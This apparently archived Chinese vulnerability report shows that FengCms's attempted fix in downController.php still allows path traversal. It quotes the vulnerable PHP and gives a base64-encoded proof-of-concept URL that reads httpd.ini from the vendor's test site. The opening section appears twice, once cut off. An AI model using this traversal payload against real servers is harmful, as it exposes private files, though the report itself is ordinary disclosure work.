### 简要描述: 非常感谢各位白帽子的辛勤工作!FengCms安全测试站地址:http://guf521656.h163.92hezu.org/ 已经升级到最新版本 有效期2014-7-8至2014-7-15 欢迎各位安全界的朋友帮我们寻找安全漏洞!作为一个小小的创业团队,对各位朋友对FengCms的关注表示衷心的感谢!@路人甲 唉 厂商今天又艾特了,本来不想再看的。。 ### 详细说明: app/contorller/downController.php ``` <?php /******************************************************************* * @authors FengCms * @web http://www.fengcms.com * @email web@fengcms.com * @date 2013-10-30 16:00:12 * @version FengCms Beta 1.0 * @copy Copyright © 2013-2018 Powered by DiFang Web Studio *******************************************************************/ // 请确保 php.ini 配置文件中 output_buffering 值为 On 或者 4096,为 Off 则会导致下载文件乱码。 class downController extends Controller{ public function index(){ $_GET['file']=base64_decode($_GET['file']); $exp=explode("/",$_GET['file']); if($exp[1]=="upload"){ if(file_exists(ROOT_PATH.$_GET['file'])){ header("Content-Type: application/force-download"); header("Content-Disposition: attachment; filename=".basename($_GET['file']));...
### 简要描述: 非常感谢各位白帽子的辛勤工作!FengCms安全测试站地址:http://guf521656.h163.92hezu.org/ 已经升级到最新版本 有效期2014-7-8至2014-7-15 欢迎各位安全界的朋友帮我们寻找安全漏洞!作为一个小小的创业团队,对各位朋友对FengCms的关注表示衷心的感谢!@路人甲 唉 厂商今天又艾特了,本来不想再看的。。 ### 详细说明: app/contorller/downController.php ``` <?php /******************************************************************* * @authors FengCms * @web http://www.fengcms.com * @email web@fengcms.com * @date 2013-10-30 16:00:12 * @version FengCms Beta 1.0 * @copy Copyright © 2013-2018 Powered by DiFang Web Studio *******************************************************************/ // 请确保 php.ini 配置文件中 output_buffering 值为 On 或者 4096,为 Off 则会导致下载文件乱码。 class downController extends Controller{ public function index(){ $_GET['file']=base64_decode($_GET['file']); $exp=explode("/",$_GET['file']); if($exp[1]=="upload"){ if(file_exists(ROOT_PATH.$_GET['file'])){ header("Content-Type: application/force-download"); header("Content-Disposition: attachment; filename=".basename($_GET['file'])); readfile(ROOT_PATH.$_GET['file']); }else{ echo '<script type="text/javascript">alert("您要下载的文件不存在!");history.back();</script>'; } }else{ echo '<script type="text/javascript">alert("您要下载的文件不存在!");history.back();</script>'; }a } } ?> ``` 唉,这修复。。。 等于没修复啊。直接file=https://images.seebug.org/upload/../httpd.ini,bese64_encode下就好了。。。 ### 漏洞证明: 厂商的测试地址: ``` http://guf521656.h163.92hezu.org/index.php?controller=down&operate=index&file=L3VwbG9hZC8uLi9odHRwZC5pbmk= ``` [<img src="https://images.seebug.org/upload/201407/10174846cba50827fe7a75a84946cc3cd347f9ec.png" alt="QQ20140710-4.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201407/10174846cba50827fe7a75a84946cc3cd347f9ec.png) [<img src="https://images.seebug.org/upload/201407/10174901ebbd41e226eb590dbc3c35fd8c593603.png" alt="QQ20140710-5.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201407/10174901ebbd41e226eb590dbc3c35fd8c593603.png)